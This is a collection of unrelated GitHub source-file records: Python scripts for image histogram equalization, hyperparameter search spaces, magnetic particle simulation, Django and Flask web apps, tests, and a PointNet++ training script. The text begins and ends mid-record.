'img':p1,'type':\"bmp\"},\n        {'name':'Peppers', 'img':p2,'type':\"bmp\"}\n    ]\n\n    resultpath = makepath(os.path.join(\".\", \"result1\"))\n\n    global_savepath = makepath(os.path.join(resultpath, \"globalhist\")) \n    print(\"global histogram equlization\")\n    h_global = histogramequalization(imglist, global_savepath, \"global\", False, True)\n    print(\"plotting histogram for global ..\")\n    for imgname, pi in zip(['Lena','Peppers'], h_global):\n        print(imgname)\n        hist_barchart(\n            data=[pi],block=(1,1), \n            savepath=makepath(\n                os.path.join(global_savepath,imgname)\n            ), term=''\n        )\n\n\n    local_savepath = makepath(os.path.join(resultpath, \"localhist\"))\n    bsize= p1.shape[0]//4 # equally 16 block \n    print(\"local histogram equlization\")\n    h_local = histogramequalization(imglist, local_savepath, \"local\", False,True, bsize=bsize)\n    print(\"plotting histogram for local ..\")\n    for imgname, pi in zip(['Lena','Peppers'], h_local):\n        print(imgname)\n        hist_barchart(\n            data=[pi['all']], block=(1,1),\n            savepath=makepath(os.path.join(local_savepath,imgname)),\n            term='all'\n        )\n        for i in tqdm(range(0, 16, 8)):\n            hist_barchart(\n                data=pi['blocks'][i:i+8],block=(2,4), \n                savepath=makepath(\n                    os.path.join(local_savepath,imgname)\n                ), term=i\n            )","repo_name":"Tsai-chia-hsiang/CV-works","sub_path":"imageprocess/HistogramEqualization/histogramEQ.py","file_name":"histogramEQ.py","file_ext":"py","file_size_in_byte":6414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"6701766776","text":"\"\"\"\nThis file contains all information relevant to running hyperopt with MLDE. The \nonly things that can be safely changed in this file are the ranges and priors\non the search spaces defined in 'search_spaces'\n\"\"\"\n# Import relevant modules\nfrom hyperopt import hp\n\n# Define generic parameters that will be searched over\n_deep_space=(\"dropout\",\"rc\")\n\n\n_nohidden_space = (\"dropout\",)\n_onehidden_space = (\"dropout\",\"rc\")\n_twohidden_space = (\"dropout\",\"rc\")\n_threehidden_space=(\"dropout\",\"rc\")\n\n_xgbtree_space = (\"eta\", \"max_depth\", \"lambda\", \"alpha\",\"num_boost_round\")\n_xgblinear_space = (\"lambda\", \"alpha\",\"num_boost_round\")\n\n_linear_space = (\"dummy\",)\n_gradientboosting_space = (\"learning_rate\", \"n_estimators_gbt\", \"min_samples_split\",\n                          \"min_samples_leaf\", \"max_depth\")\n_randomforest_space = (\"n_estimators\", \"min_samples_split\", \"min_samples_leaf\",\n                      \"max_depth\")\n_linearsvr_space = (\"tol\", \"C\", \"dual\")\n_ardregression_space = (\"tol\", \"alpha_1\", \"alpha_2\", \"lambda_1\", \"lambda_2\")\n_kernelridge_space = (\"alpha\", \"kernel\")\n_bayesianridge_space = (\"tol\", \"alpha_1\", \"alpha_2\", \"lambda_1\", \"lambda_2\")\n_bagging_space = (\"n_estimators\", \"max_samples\")\n_lassolars_space = (\"max_iter\", \"cv\", \"max_n_alphas\")\n_decisiontreeregressor_space = (\"max_depth\", \"min_samples_split\",\n                               \"min_samples_leaf\")\n_sgdregressor_space = (\"alpha\", \"l1_ratio\", \"tol\")\n_kneighborsregressor_space = (\"n_neighbors\", \"weights\", \"leaf_size\", \"p\")\n_elasticnet_space = (\"l1_ratio\", \"alpha\")\n_adaboost_space = (\"n_estimators\", \"learning_rate\")\n_ridge_space=(\"alpha\",)\n# Define choice tuples for each time a choice is made in hyperopt\nCATEGORICAL_PARAMS = {\"dual\": (True, False),\n                      \"weights\": (\"uniform\", \"distance\"),\n                      \"kernel\": (\"rbf\", \"laplacian\", \"polynomial\", \"chi2\", \"sigmoid\")}\n\n# Define a list of values that must be converted to integers after coming from\n# hyperopt\nINTEGER_PARAMS = {\"min_samples_split\",\"min_samples_leaf\",\"max_depth\",\"num_boost_round\", \"n_estimators\",\n                  \"n_neighbors\", \"leaf_size\", \"max_iter\", \"cv\", \"max_n_alphas\"}\n\n# Define a set of values that are written in the search space as the fraction of\n# total latent space\n# LATENT_PERC_PARAMS = {\"size1\", \"size2\", \"n_filters1\", \"n_filters2\"}\nlog10=2.30258509299\n# Define search spaces for all available parameters\nSEARCH_SPACES = {\"DNN_deep\":{\"dropout\": hp.uniform(\"dropout\", 0.2, 0.8),\n                  \"size1\": hp.uniform(\"size1\", 0.5, 2.),\n                  \"size2\": hp.uniform(\"size2\", 0.5, 2.),\n                  \"size3\": hp.uniform(\"size2\", 0.5, 2.),\n                  \"size4\": hp.uniform(\"size2\", 0.5, 2.),\n                  \"size5\": hp.uniform(\"size2\", 0.5, 2.),\n                  \"rc\": hp.loguniform(\"rc\",-5*log10,0*log10),\n                             },\n            \"XGB\": {\"eta\": hp.loguniform(\"eta\", -2*log10, 0*log10),\n                  \"max_depth\": hp.quniform(\"max_depth\", 3, 8, 1),\n                  \"lambda\": hp.loguniform(\"lambda\", -3*log10, 2**log10),\n                  \"alpha\": hp.loguniform(\"alpha\", -3*log10, 2**log10),\n                 \"num_boost_round\":hp.quniform(\"num_boost_round\",100, 2000,10)},\n          \"DNN\": {\"dropout\": hp.uniform(\"dropout\", 0.2, 0.95),\n                  \"size1\": hp.uniform(\"size1\", 0.25, 0.75),\n                  \"size2\": hp.uniform(\"size2\", 0.25, 0.75),\n                  \"size3\": hp.uniform(\"size2\", 0.25, 0.75),\n                  \"rc\": hp.loguniform(\"rc\",-4*log10,0*log10),\n                  },\n          \"sklearn-regressor\": {\"n_estimators_gbt\": hp.quniform(\"n_estimators\", 100, 2000, 10),\n                      \"n_estimators\": hp.quniform(\"n_estimators\", 100, 2000, 10),\n                      \"learning_rate\": hp.loguniform(\"learning_rate\", -3*log10, 0*log10),\n                      \"max_samples\": hp.uniform(\"max_samples\", 0.1, 1),\n                      \"max_depth\": hp.quniform(\"max_depth\", 3, 8, 1),\n                      \"min_samples_split\": hp.quniform(\"min_samples_split\", 2, 8,1),\n                      \"min_samples_leaf\": hp.quniform(\"min_samples_leaf\", 1, 8,1),\n                      # \"subsample\":hp.uniform(\"subsample\",0.2,0.8),\n                      \"tol\": hp.loguniform(\"tol\", -5*log10, -3*log10),\n                      \"C\": hp.uniform(\"C\", 0.1, 10),\n                      \"dual\": hp.choice(\"dual\", CATEGORICAL_PARAMS[\"dual\"]),\n                      \"alpha_1\": hp.loguniform(\"alpha_1\", -7*log10, -5*log10),\n                      \"alpha_2\": hp.loguniform(\"alpha_2\", -7*log10, -5*log10),\n                      \"lambda_1\": hp.loguniform(\"lambda_1\", -7*log10, -5*log10),\n                      \"lambda_2\": hp.loguniform(\"lambda_2\", -7*log10, -5*log10),\n                      \"n_neighbors\": hp.quniform(\"n_neighbors\", 1, 30, 1),\n                      \"weights\": hp.choice(\"weights\", CATEGORICAL_PARAMS[\"weights\"]),\n                      \"leaf_size\": hp.quniform(\"leaf_size\", 1, 50, 1),\n                      \"p\": hp.uniform(\"p\", 1, 2),\n                      \"l1_ratio\": hp.uniform(\"l1_ratio\", 0, 1),\n                      # \"alpha\": hp.uniform(\"alpha\", 1e-4, 10),\n                      \"alpha\": hp.loguniform(\"alpha\", -4*log10, 5*log10),# (0.01,1000)\n                      \"kernel\": hp.choice(\"kernel\", CATEGORICAL_PARAMS[\"kernel\"]),\n                      \"max_iter\": hp.quniform(\"max_iter\", 10, 1000, 1),\n                      \"cv\": hp.quniform(\"cv\", 2, 10, 1),\n                      \"max_n_alphas\": hp.quniform(\"max_n_alphas\", 10, 2000, 1),\n                      \"dummy\": hp.uniform(\"dummy\", 0, 1)}}\n\n# Define the generic search spaces for each model type\nSPACE_BY_MODEL = {\"DNN_deep\":{\"OneHidden\":_deep_space,\n                              \"TwoHidden\":_deep_space,\n                              \"ThreeHidden\":_deep_space,\n                              \"FourHidden\":_deep_space,\n                              \"FiveHidden\":_deep_space\n                              },\n                  \"DNN\": {\"OneHidden\": _onehidden_space,\n                            \"TwoHidden\": _twohidden_space,\n                          \"ThreeHidden\": _threehidden_space,\n                          },\n                  \"XGB\": {\"Tree\": _xgbtree_space,\n                          \"Linear\": _xgblinear_space,\n                          \"Tree-Tweedie\": _xgbtree_space,\n                          \"Linear-Tweedie\": _xgblinear_space},\n                  \"sklearn-regressor\": {\"Linear\": _linear_space,\n                                        \"GradientBoostingRegressor\": _gradientboosting_space,\n                                        \"RandomForestRegressor\": _randomforest_space,\n                                        \"LinearSVR\": _linearsvr_space,\n                                        \"ARDRegression\": _ardregression_space,\n                                        \"KernelRidge\": _kernelridge_space,\n                                        \"BayesianRidge\": _bayesianridge_space,\n                                        \"BaggingRegressor\": _bagging_space,\n                                        \"LassoLarsCV\": _lassolars_space,\n                                        \"DecisionTreeRegressor\": _decisiontreeregressor_space,\n                                        \"SGDRegressor\": _sgdregressor_space,\n                                        \"KNeighborsRegressor\": _kneighborsregressor_space,\n                                        \"ElasticNet\": _elasticnet_space,\n                                        \"AdaBoostRegressor\": _adaboost_space,\n                                        \"Ridge\":_ridge_space,}\n                  }\nRENAME_VAR={\"n_estimators_gbt\":\"n_estimators\"}","repo_name":"YuchiQiu/TopFit","sub_path":"src/Regressors/search_spaces.py","file_name":"search_spaces.py","file_ext":"py","file_size_in_byte":7576,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"2368386599","text":"# 멀티탭 \r\nfrom sys import stdin as s\r\n\r\n#s=open(\"input.txt\",\"rt\")\r\nn,k=map(int,s.readline().split())\r\nmuti_list=list(map(int,s.readline().split()))\r\nmuti_tap=[0]*n\r\nans=0\r\nmaximum=0\r\nwhile muti_list:\r\n    product = muti_list[0]\r\n    if product in muti_tap: #멀티탭에 같은 번호가 꽂혀져 있으면 그냥 무시\r\n        muti_list.remove(product)\r\n        continue\r\n    elif 0 in muti_tap:\r\n        muti_tap[muti_tap.index(0)]=product\r\n        muti_list.remove(product)\r\n        \r\n    else:\r\n        for mt in muti_tap:\r\n            if mt not in muti_list:\r\n                change=mt\r\n                break\r\n            \r\n            elif muti_list.index(mt) > maximum:\r\n                maximum = muti_list.index(mt)\r\n                change=mt\r\n                \r\n        muti_tap[muti_tap.index(change)]=product\r\n        muti_list.remove(product)\r\n        maximum=0\r\n        ans+=1\r\n        \r\n        \r\nprint(ans)","repo_name":"heekyoung2000/Algorithm-solving-in-baekjoon","sub_path":"백준/Gold/1700. 멀티탭 스케줄링/멀티탭 스케줄링.py","file_name":"멀티탭 스케줄링.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"364035321","text":"# Exercise 2.1\n\npi = 3.1415926535897932\nr = 5\nprint(4/3*pi*r**3)\n\n# Exercise 2.2\n\nshipping = 3 + 0.75 * 59\nbook = 24.95\ndiscount = 24.95 * 0.40\ntotal_cost = (book-discount)*60 + shipping\nprint(total_cost)\n\n# Exercise 2.3\n\nstart = (6*60+52)*60\neasy = (8*60+15)*2\ntempo = (7*60+12)*3\nfinish_hour = (start+easy+tempo)/(60*60.0)\nfinish_floored = (start+easy+tempo)//(60*60)\nfinish_minute = (finish_hour - finish_floored)*60\nprint ('Finish time was %d:%d' % (finish_hour, finish_minute))\n","repo_name":"rbanders/ThinkPython2","sub_path":"Exercises 2.10.py","file_name":"Exercises 2.10.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"37459598512","text":"# -*- coding=utf-8 -*-\n# @Time    : 2022/09/23 11:25\n# @Author  : ╰☆H.俠ゞ\n# =============================================================\nfrom Lesson_22.python编程语言与框架.录播.python编程语言.闭包与装饰器.单例模式.base_demo import Base\n\n\nclass Test_X:\n    def test_x(self):\n        a = Base()\n        b = Base()\n        print(id(a))\n        print(id(b))\n        print(a == b)\n        assert a == b\n\n    def test_y(self):\n        c = Base()\n        d = Base()\n        print(f\"实例id为：\\n{id(c)}\")\n        print(id(d))\n        print(c == d)\n        assert c == d\n\n","repo_name":"superlff888/projectScripts","sub_path":"Lesson_22/python编程语言与框架/录播/python编程语言/闭包与装饰器/单例模式/test_operation01.py","file_name":"test_operation01.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"31096678050","text":"import numpy as np\n#from Small_Functions import *\nfrom Rotation_3D import ang_vel_step3D, rot_step3D\nimport timeit\nstart = timeit.default_timer()\nfrom Torque import torque\nfrom Squiglys import squiglys\nfrom Force_3D import calc_force\nfrom RandomParticleGenerator import RandomParticleGenerator\nfrom div0 import div0\nfrom DistDisp import distdisp\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\nran_mat = lambda low, high, size: np.random.randint(low, high, size=size)\nrlen = lambda x: range(len(x))\nwrite = lambda x: ' '.join([str(x) for x in X])\nvec = lambda x: np.array(X)\nvlen = lambda v: np.sqrt(np.dot(v,v))\nran_mat = lambda low, high, size: np.random.randint(low,high,size=size)\n\n\n\"General parameters\"\nmu_0 = 4*np.pi\nk_m = mu_0/(4 * np.pi)\ninertia = 1\niterations = 1000000\ntimestep = 0.0001\nmass = 1\nradius = 0.5\nimage_num = 0\nNumberOfParticles = 2\n\n#pos = np.append(ran_mat(-4,4,2*vec_num),np.zeros(vec_num)).reshape(3,vec_num).transpose()\n#print(pos)\n#np.append(ran_mat(-4,4,2*vec_num),np.zeros(vec_num)).reshape(3,vec_num).transpose()\n#pos ,vel ,m = RandomParticleGenerator(NumberOfParticles)\npos, vel, m = np.array([[-2,0,0], [2,0,0]]),  np.array([[0,0,0], [0,0,0]]),  np.array([[1,0, 0], [1,0,0]])\n\"Initial conditions saved for later reference\"\nm_0 = m\npos_0 = pos\n\n\n# \"Plotting parameters\"\nx_lim = 8.5\ny_lim = 8.5\nz_lim = 4.5\n\n\n\"Initialization\"\nmu_0 = np.pi*4\nm_1, m_2, time  = np.array([]), np.array([]), np.array([0])\nomega = np.zeros(m.shape)\npos_data, time, m_data  = pos[:,:,np.newaxis], np.array([0]),m[:,:,np.newaxis]\nSq = squiglys(pos)\ndist, disp, k_m, m_i, m_j = distdisp(Sq, m, mu_0)\nF = calc_force(dist, disp, k_m, m_i, m_j, mu_0)\n#x_val, y_val, z_val = [], [], []\ndata = []\n\nfig = plt.figure()\nax = fig.gca(projection='3d')\nx,y,z = pos[:,0],pos[:,1],pos[:,2]\nu,v,w = m[:,0],m[:,1],m[:,2]\nax.quiver(x,y,z,u,v,w)\nax.set_xlim([-x_lim,x_lim])\nax.set_ylim([-y_lim,y_lim])\nax.set_zlim([-z_lim,z_lim])\nplt.show()\nconst = 0.4\nfor i in range(iterations):\n    vel = vel + 1/2 * timestep * F/mass \n    pos = pos + timestep*vel\n    Sq = squiglys(pos)\n    dist, disp, k_m, m_i, m_j = distdisp(Sq, m, mu_0)\n    F = calc_force(dist, disp, k_m, m_i, m_j, mu_0)\n    pos = pos + timestep * vel\n    tau = torque(dist, disp, m_i, m_j, mu_0, NumberOfParticles) #Calculation of torque experienced on each particle\n    omega += tau / inertia * timestep \n    m = rot_step3D(m, omega, timestep) #Rotation of magnetic moments\n    if dist[1,0,0] <= 2*radius:\n        print(\"Collision Detected\")\n        vel = -vel#[::-1]\n    #x_val.append(pos[:,0])#skal lave noget check så jeg ikke tager alle trin med\n    #y_val.append(pos[:,1])\n    #z_val.append(pos[:,2])\n    data.append(pos)\n    # if image_num == 0:\n    #     pass\n    # elif i % (iterations/image_num) == 0:\n    #     fig = plt.figure()\n    #     ax = fig.gca(projection='3d')\n    #     ax.set_xlim(-x_lim, x_lim)\n    #     ax.set_ylim(-y_lim, y_lim)\n    #     ax.set_zlim(-z_lim, z_lim)\n    #     ax.plot(pos[:,0], pos[:,1], pos[:,2], 'bo')\n    #     x, y, z = pos[:, 0], pos[:, 1], pos[:, 2]\n    #     u, v, w = m[:, 0], m[:, 1], m[:, 2]\n    #     ax.quiver(x, y, z, u, v, w)\n#print(data)\ndata = np.hstack(data)\ndata = [np.reshape(dat, (-1,3)) for dat in data]\nstop = timeit.default_timer()\nprint(stop-start)\n#lines = [ax.plot(dat[0, 0:1], dat[1, 0:1], dat[2, 0:1])[0] for dat in data]\n\nfig = plt.figure()\nax = fig.gca(projection='3d')\nx,y,z = pos[:,0],pos[:,1],pos[:,2]\nu,v,w = m[:,0],m[:,1],m[:,2]\nax.quiver(x,y,z,u,v,w)\nax.set_xlim([-x_lim,x_lim])\nax.set_ylim([-y_lim,y_lim])\nax.set_zlim([-z_lim,z_lim])\nplt.show()\n\nimport mpl_toolkits.mplot3d.axes3d as p3\nimport matplotlib.animation as animation\n#for i in NumberOfParticles:\n#    lines = [ax.plot(dat[0, 0:1], dat[1, 0:1], dat[2, 0:1])[0] for dat in data]\n#data = [item[0] for item in data]\n\ndef update(num, data, line):\n    line.set_data(data[:2, :num])\n    line.set_3d_properties(data[2, :num])\n\n\nimport matplotlib as mpl\nfrom mpl_toolkits.mplot3d import Axes3D\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# fig = plt.figure()\n# ax.set_xlim([-1,1])\n# ax.set_ylim([-1,1])\n# ax.set_zlim([-1,1])\n\n# ax = fig.gca(projection='3d')\n\n# x = data[0][:,0]\n# y = data[0][:,1]\n# z = data[0][:,2]\n# N = len(z)\n\n# #1 colored by value of `z`\n# ax.scatter(x, y, z, c = plt.cm.jet(div0(z,max(z)))) \n\n# #2 colored by index (same in this example since z is a linspace too)\n\n# ax.scatter(x, y, z, c = plt.cm.jet(np.linspace(0,1,N)))\n# #for i in range(N-1):\n# #    ax.plot(x[i:i+2], y[i:i+2], z[i:i+2], color=plt.cm.jet(255*i/N))\n\n# x = data[1][:,0]\n# y = data[1][:,1]\n# z = data[1][:,2]\n# N = len(z)\n\n# #1 colored by value of `z`\n# ax.scatter(x, y, z, c = plt.cm.jet(div0(z,max(z)))) \n\n# #2 colored by index (same in this example since z is a linspace too)\n# ax.scatter(x, y, z, c = plt.cm.jet(np.linspace(0,1,N)))\n# #for i in range(N-1):\n# #    ax.plot(x[i:i+2], y[i:i+2], z[i:i+2], color=plt.cm.jet(255*i/N))\n\nplt.show()\ndelta_x = data[1][:,0]\ntid = np.linspace(0, iterations-2, num=iterations)\nplt.scatter(tid, delta_x)\nplt.show()\n","repo_name":"Bojje/Fagprojekt","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5060,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"27252955879","text":"# Trying to grasp functions better\n\ndef example():\n    print('basic function')\n    z = 3 + 9\n    print(z)\n\nexample()\n\n\ndef simple_addition(num1, num2):\n    answer = num1 + num2\n    print('num1 is', num1)\n    print(answer)\n\nsimple_addition(5, 3)\n","repo_name":"sk610/Learn-Python-3-The-Hard-Way","sub_path":"Exercises/31-40/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"74863346986","text":"from django.conf.urls import include, url\nfrom . import views\n\nurlpatterns = [\n    url(r'^$', views.lista_letras),\n    url(r'^banda/(?P<pk>[0-9]+)/$', views.detalles_banda),\n    url(r'^banda/nueva/$', views.agregar_banda, name='agregar_banda'),\n    url(r'^banda/(?P<pk>[0-9]+)/editar/$', views.editar_banda, name='editar_banda'),\n    url(r'^letra/(?P<pk>[0-9]+)/$', views.detalles_cancion),\n    url(r'^letra/nueva/$', views.agregar_letrasb, name='agregar_letrasb'),\n    url(r'^banda/(?P<pk>[0-9]+)/letra/nueva/$', views.agregar_letras, name='agregar_letras'),\n    url(r'banda/letra/(?P<pk>[0-9]+)/editar/$', views.editar_cancion, name='editar_cancion'),\n    url(r'banda/(?P<pkb>[0-9]+)/letra/(?P<pk>[0-9]+)/eliminar$', views.eliminar_cancion, name='eliminar_cancion'),\n]\n\n","repo_name":"gramazo123/proyecto-final-letras","sub_path":"letras/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"7988063482","text":"# Importing 3rd party components\nfrom flask import Blueprint, render_template, flash, request, redirect, url_for\nfrom flask_login import login_required, current_user\n\nfrom decimal import Decimal\n\nimport re\n\nimport math\n\nimport random\n\n# Importing freemart component\nfrom . import db\n\nfrom .imageFunc import loadImgs\n\nfrom .models import Product, User, Message\n\nfrom .bonusFunc import calcSaleBonus\n\nfrom .helperFunc import isFloat, confirmed_required\n\n\n# User branch blueprint definition\nuser = Blueprint('user', __name__, url_prefix=\"/user\")\n\n\n# ----- Routes definition ----- #\n\n@user.route(\"/profile/<username>\", methods=[\"GET\", \"POST\"])\n@user.route(\"/<username>\", methods=[\"GET\", \"POST\"])\n@login_required\n@confirmed_required\ndef profile_page(username):\n    '''\n        THIS, this, is *the* route\n\n    '''\n\n    user = User.query.filter_by(username=username).first()\n    saleBonus = calcSaleBonus(user)\n    postedItem = None\n\n    if request.method == \"POST\":\n        productName = request.form.get(\"productName\")\n        product = Product.query.filter_by(name=productName).first()\n        modalType = request.form.get(\"modalType\")\n\n        if modalType == \"purchaseProduct\":\n\n            if (current_user.balance < product.price):\n                flash(\"Not enough FMC\", category=\"error\")\n            elif (current_user.username == product.username):\n                flash(\"You cannot buy from yourself\", category=\"error\")\n            else:\n                seller = User.query.filter_by(username=product.username).first()\n                sellerBonus = calcSaleBonus(seller)\n\n                current_user.balance -= product.price\n                seller.balance += product.price\n\n                if product.price >= int(sellerBonus/4):\n                    seller.balance += sellerBonus\n                    seller.sale_count += 1\n\n                product.listed = False\n                product.username = current_user.username\n                postedItem = product\n\n                db.session.commit()\n        elif product.username == current_user.username:\n            newProductPrice = request.form.get(\"newProductPrice\")\n\n            if newProductPrice:\n                # Ignore those try-hards who write out ...FMC in their input, smh\n                insensitive_fmc = re.compile(re.escape('fmc'), re.IGNORECASE)\n                newProductPrice = insensitive_fmc.sub('', newProductPrice)\n\n                try:\n                    newProductPrice = math.floor(float(newProductPrice) * 10 ** 2) / 10 ** 2\n                except TypeError:\n                    pass\n\n            if modalType == \"editProductPrice\":\n                if not isFloat(newProductPrice):\n                    flash(\"Price must be a number\", category=\"error\")\n                elif newProductPrice < 0:\n                    flash(\"Cannot set negative price\", category=\"error\")\n                else:\n                    product.price = newProductPrice\n                    db.session.commit()\n            elif modalType == \"removeProduct\":\n                product.listed = False\n                db.session.commit()\n                postedItem = product\n            elif modalType == \"resellProduct\":\n                if not isFloat(newProductPrice):\n                    flash(\"Price must be a number\", category=\"error\")\n                elif newProductPrice < 0:\n                    flash(\"Cannot set negative price\", category=\"error\")\n                else:\n                    product.listed = True\n                    product.price = newProductPrice\n                    db.session.commit()\n                    return redirect(url_for('market.market_page', product=product.name))\n        else:\n            flash(\"You do not own the product!\", category=\"error\")\n\n\n    loadImgs(user.posts)\n\n    # SELLING\n    userSelling = [product for product in user.posts if product.listed == True]\n    random.shuffle(userSelling)\n    groupedUserSelling = []\n\n    for i in range(0, len(userSelling), 6):\n        groupedUserSelling.append(userSelling[i:i+6])\n\n    # OWNEW\n    userOwned = [product for product in user.posts if product.listed == False]\n    random.shuffle(userOwned)\n\n    if postedItem:\n        userOwned.insert(0, userOwned.pop(userOwned.index(postedItem)))\n    groupedUserOwned = []\n\n    for i in range(0, len(userOwned), 6):\n        groupedUserOwned.append(userOwned[i:i+6])\n\n\n    return render_template(\"user/profile.html\", user=user, userSelling=groupedUserSelling, userOwned=groupedUserOwned, userOwnedLen=len(userOwned), userSellingLen=len(userSelling), saleBonus=saleBonus, current_user=current_user)\n\n\n@user.route('/chatroom')\n@login_required\n@confirmed_required\ndef chatroom_page():\n    '''\n        Render chatroom with messages.\n    '''\n\n    messages = Message.query.all()\n\n    return render_template('user/chatroom.html', user=current_user, messages=messages)\n","repo_name":"uio23/freemart-hosted","sub_path":"freemart/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":4834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"6289204835","text":"from django.test import TestCase\n\nfrom djangocms_frontend.contrib.collapse.models import (\n    Collapse,\n    CollapseContainer,\n    CollapseTrigger,\n)\n\n\nclass B5CollapseModelTestCase(TestCase):\n    def test_collapse_instance(self):\n        instance = Collapse.objects.create()\n        self.assertEqual(str(instance), \"Collapse (1)\")\n        self.assertEqual(instance.get_short_description(), \"(collapse-1)\")\n\n    def test_collapse_trigger_instance(self):\n        instance = CollapseTrigger.objects.create(\n            config={\"trigger_identifier\": \"Monty Python\"}\n        )\n        self.assertEqual(str(instance), \"CollapseTrigger (1)\")\n        self.assertEqual(instance.get_short_description(), \"(Monty Python)\")\n\n    def test_collapse_container_instance(self):\n        instance = CollapseContainer.objects.create(\n            config={\"container_identifier\": \"Monty Python\"}\n        )\n        self.assertEqual(str(instance), \"CollapseContainer (1)\")\n        self.assertEqual(instance.get_short_description(), \"(Monty Python)\")\n","repo_name":"django-cms/djangocms-frontend","sub_path":"tests/collapse/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"37"}
+{"seq_id":"34414596587","text":"'''\n    Single-GPU training.\n    Will use H5 dataset in default. If using normal, will shift to the normal dataset.\n'''\nimport os\nimport sys\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nROOT_DIR = BASE_DIR\nsys.path.append(BASE_DIR)\nsys.path.append(os.path.join(ROOT_DIR, 'models'))\nsys.path.append(os.path.join(ROOT_DIR, 'utils'))\nimport argparse\nfrom datetime import datetime\nimport numpy as np\nimport tensorflow as tf\nimport socket\nimport importlib\nimport modelnet_dataset\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--gpu', type=int, default=0, help='GPU to use [default: GPU 0]')\nparser.add_argument('--model', default='pointnet2_cls_ssg', help='Model name [default: pointnet2_cls_ssg]')\nparser.add_argument('--log_dir', default='log', help='Log dir [default: log]')\nparser.add_argument('--num_point', type=int, default=10000, help='Point Number [default: 1024]')\nparser.add_argument('--max_epoch', type=int, default=50, help='Epoch to run [default: 251]')\nparser.add_argument('--batch_size', type=int, default=2, help='Batch Size during training [default: 16]')\nparser.add_argument('--learning_rate', type=float, default=0.001, help='Initial learning rate [default: 0.001]')\nparser.add_argument('--momentum', type=float, default=0.9, help='Initial learning rate [default: 0.9]')\nparser.add_argument('--optimizer', default='adam', help='adam or momentum [default: adam]')\nparser.add_argument('--decay_step', type=int, default=200000, help='Decay step for lr decay [default: 200000]')\nparser.add_argument('--decay_rate', type=float, default=0.7, help='Decay rate for lr decay [default: 0.7]')\nparser.add_argument('--normal', action='store_true', default=True, help='Whether to use normal information')\nFLAGS = parser.parse_args()\n\nEPOCH_CNT = 0\n\nBATCH_SIZE = FLAGS.batch_size\nNUM_POINT = FLAGS.num_point\nMAX_EPOCH = FLAGS.max_epoch\nBASE_LEARNING_RATE = FLAGS.learning_rate\nGPU_INDEX = FLAGS.gpu\nMOMENTUM = FLAGS.momentum\nOPTIMIZER = FLAGS.optimizer\nDECAY_STEP = FLAGS.decay_step\nDECAY_RATE = FLAGS.decay_rate\nMODEL = importlib.import_module(FLAGS.model)  # import network module\nMODEL_FILE = os.path.join(ROOT_DIR, 'models', FLAGS.model+'.py')\nLOG_DIR = FLAGS.log_dir\nif not os.path.exists(LOG_DIR):\n    os.mkdir(LOG_DIR)\nos.system('cp %s %s' % (MODEL_FILE, LOG_DIR))  # bkp of model def\nos.system('cp train.py %s' % (LOG_DIR))  # bkp of train procedure\nLOG_FOUT = open(os.path.join(LOG_DIR, 'log_train.txt'), 'w')\nLOG_FOUT.write(str(FLAGS)+'\\n')\n\nBN_INIT_DECAY = 0.5\nBN_DECAY_DECAY_RATE = 0.5\nBN_DECAY_DECAY_STEP = float(DECAY_STEP)\nBN_DECAY_CLIP = 0.99\n\nHOSTNAME = socket.gethostname()\n\nNUM_CLASSES = 40\n\nif FLAGS.normal:\n    assert(NUM_POINT <= 10000)\n    DATA_PATH='alldata/'\n    TRAIN_DATASET = modelnet_dataset.ModelNetDataset(root=DATA_PATH, npoints=NUM_POINT, split='train', batch_size=BATCH_SIZE)\n    TEST_DATASET = modelnet_dataset.ModelNetDataset(root=DATA_PATH, npoints=NUM_POINT, split='test', batch_size=BATCH_SIZE)\n\n\ndef log_string(out_str):\n    LOG_FOUT.write(out_str+'\\n')\n    LOG_FOUT.flush()\n    print(out_str)\n\n\ndef get_learning_rate(batch):\n    learning_rate = tf.train.exponential_decay(\n                        BASE_LEARNING_RATE,  # Base learning rate.\n                        batch * BATCH_SIZE,  # Current index into the dataset.\n                        DECAY_STEP,          # Decay step.\n                        DECAY_RATE,          # Decay rate.\n                        staircase=True)\n    learning_rate = tf.maximum(learning_rate, 0.00001)  # CLIP THE LEARNING RATE!\n    return learning_rate\n\n\ndef get_bn_decay(batch):\n    bn_momentum = tf.train.exponential_decay(\n                      BN_INIT_DECAY,\n                      batch*BATCH_SIZE,\n                      BN_DECAY_DECAY_STEP,\n                      BN_DECAY_DECAY_RATE,\n                      staircase=True)\n    bn_decay = tf.minimum(BN_DECAY_CLIP, 1 - bn_momentum)\n    return bn_decay\ndef train():\n    with tf.Graph().as_default():\n        with tf.device('/gpu:'+str(GPU_INDEX)):\n            pointclouds_pl, attachment_labels_pl, type_labels_pl, orientation_labels_pl, surface_labels_pl, startstage_labels_pl = MODEL.placeholder_inputs(BATCH_SIZE, NUM_POINT)\n            is_training_pl = tf.placeholder(tf.bool, shape=())\n\n            batch = tf.get_variable('batch', [], initializer=tf.constant_initializer(0), trainable=False)\n            bn_decay = get_bn_decay(batch)\n            